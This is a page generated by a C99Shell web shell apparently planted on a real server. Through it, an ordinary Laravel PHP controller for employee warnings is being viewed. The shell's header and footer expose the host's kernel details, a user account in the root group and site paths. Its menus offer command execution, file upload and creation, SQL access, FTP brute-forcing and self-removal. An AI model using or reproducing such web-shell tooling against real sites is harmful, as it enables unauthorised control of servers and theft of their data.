!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WarningController.php (8.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Employee;
use 
App\Models\Utility;
use 
App\Models\Warning;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Mail;

class 
WarningController extends Controller
{
    public function 
index()
    {
        if(
\Auth::user()->can('manage warning'))
        {
            if(
Auth::user()->type == 'Employee')
            {
                
$emp      Employee::where('user_id''='\Auth::user()->id)->first();
                
$warnings Warning::where('warning_by''='$emp->id)->with(['warningTo'])->get();
            }
            else
            {
                
$warnings Warning::where('created_by''='\Auth::user()->creatorId())->with(['warningTo'])->get();
            }

            return 
view('warning.index'compact('warnings'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
create()
    {
        if(
\Auth::user()->can('create warning'))
        {
            if(
Auth::user()->type == 'Employee')
            {
                
$user             \Auth::user();
                
$current_employee Employee::where('user_id'$user->id)->get()->pluck('name''id');
                
$employees        Employee::where('user_id''!='$user->id)->get()->pluck('name''id');
            }
            else
            {
                
$user             \Auth::user();
                
$current_employee Employee::where('user_id'$user->id)->get()->pluck('name''id');
                
$employees        Employee::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            }

            return 
view('warning.create'compact('employees''current_employee'));
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
store(Request $request)
    {
        if(
\Auth::user()->can('create warning'))
        {
            if(
\Auth::user()->type != 'employee')
            {
                
$validator \Validator::make(
                    
$request->all(), [
                                       
'warning_by' => 'required',
                                   ]
                );
            }

            
$validator \Validator::make(
                
$request->all(), [
                                   
'warning_to' => 'required',
                                   
'subject' => 'required',
                                   
'warning_date' => 'required',
                               ]
            );

            if(
$validator->fails())
            {
                
$messages $validator->getMessageBag();

                return 
redirect()->back()->with('error'$messages->first());
            }

            
$warning = new Warning();
            if(
\Auth::user()->type == 'Employee')
            {
                
$emp                 Employee::where('user_id''='\Auth::user()->id)->first();
                
$warning->warning_by $emp->id;
            }
            else
            {
                
$warning->warning_by $request->warning_by;
            }
            
$warning->warning_to   $request->warning_to;
            
$warning->subject      $request->subject;
            
$warning->warning_date $request->warning_date;
            
$warning->description  $request->description;
            
$warning->created_by   \Auth::user()->creatorId();
            
$warning->save();

            
//Send Email

            
$setings Utility::settings();
            if(
$setings['warning_sent'] == 1)
            {
                
$employee       Employee::find($warning->warning_to);
                
$warningArr = [
                    
'employee_warning_name'=>$employee->name,
                    
'warning_subject' =>$warning->subject,
                    
'warning_description'  =>$warning->description,
                ];

                
$resp Utility::sendEmailTemplate('warning_sent', [$employee->id => $employee->email], $warningArr);

                return 
redirect()->route('warning.index')->with('success'__('Warning  successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));;

            }

            return 
redirect()->route('warning.index')->with('success'__('Warning  successfully created.'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
show(Warning $warning)
    {
        return 
redirect()->route('warning.index');
    }

    public function 
edit(Warning $warning)
    {

        if(
\Auth::user()->can('edit warning'))
        {
            if(
Auth::user()->type == 'Employee')
            {
                
$user             \Auth::user();
                
$current_employee Employee::where('user_id'$user->id)->get()->pluck('name''id');
                
$employees        Employee::where('user_id''!='$user->id)->get()->pluck('name''id');
            }
            else
            {
                
$user             \Auth::user();
                
$current_employee Employee::where('user_id'$user->id)->get()->pluck('name''id');
                
$employees        Employee::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
            }
            if(
$warning->created_by == \Auth::user()->creatorId())
            {
                return 
view('warning.edit'compact('warning''employees''current_employee'));
            }
            else
            {
                return 
response()->json(['error' => __('Permission denied.')], 401);
            }
        }
        else
        {
            return 
response()->json(['error' => __('Permission denied.')], 401);
        }
    }

    public function 
update(Request $requestWarning $warning)
    {
        if(
\Auth::user()->can('edit warning'))
        {
            if(
$warning->created_by == \Auth::user()->creatorId())
            {
                if(
\Auth::user()->type != 'employee')
                {
                    
$validator \Validator::make(
                        
$request->all(), [
                                           
'warning_by' => 'required',
                                       ]
                    );
                }

                
$validator \Validator::make(
                    
$request->all(), [
                                       
'warning_to' => 'required',
                                       
'subject' => 'required',
                                       
'warning_date' => 'required',
                                   ]
                );

                if(
$validator->fails())
                {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                if(
\Auth::user()->type == 'Employee')
                {
                    
$emp                 Employee::where('user_id''='\Auth::user()->id)->first();
                    
$warning->warning_by $emp->id;
                }
                else
                {
                    
$warning->warning_by $request->warning_by;
                }

                
$warning->warning_to   $request->warning_to;
                
$warning->subject      $request->subject;
                
$warning->warning_date $request->warning_date;
                
$warning->description  $request->description;
                
$warning->save();

                return 
redirect()->route('warning.index')->with('success'__('Warning successfully updated.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
destroy(Warning $warning)
    {
        if(
\Auth::user()->can('delete warning'))
        {
            if(
$warning->created_by == \Auth::user()->creatorId())
            {
                
$warning->delete();

                return 
redirect()->route('warning.index')->with('success'__('Warning successfully deleted.'));
            }
            else
            {
                return 
redirect()->back()->with('error'__('Permission denied.'));
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--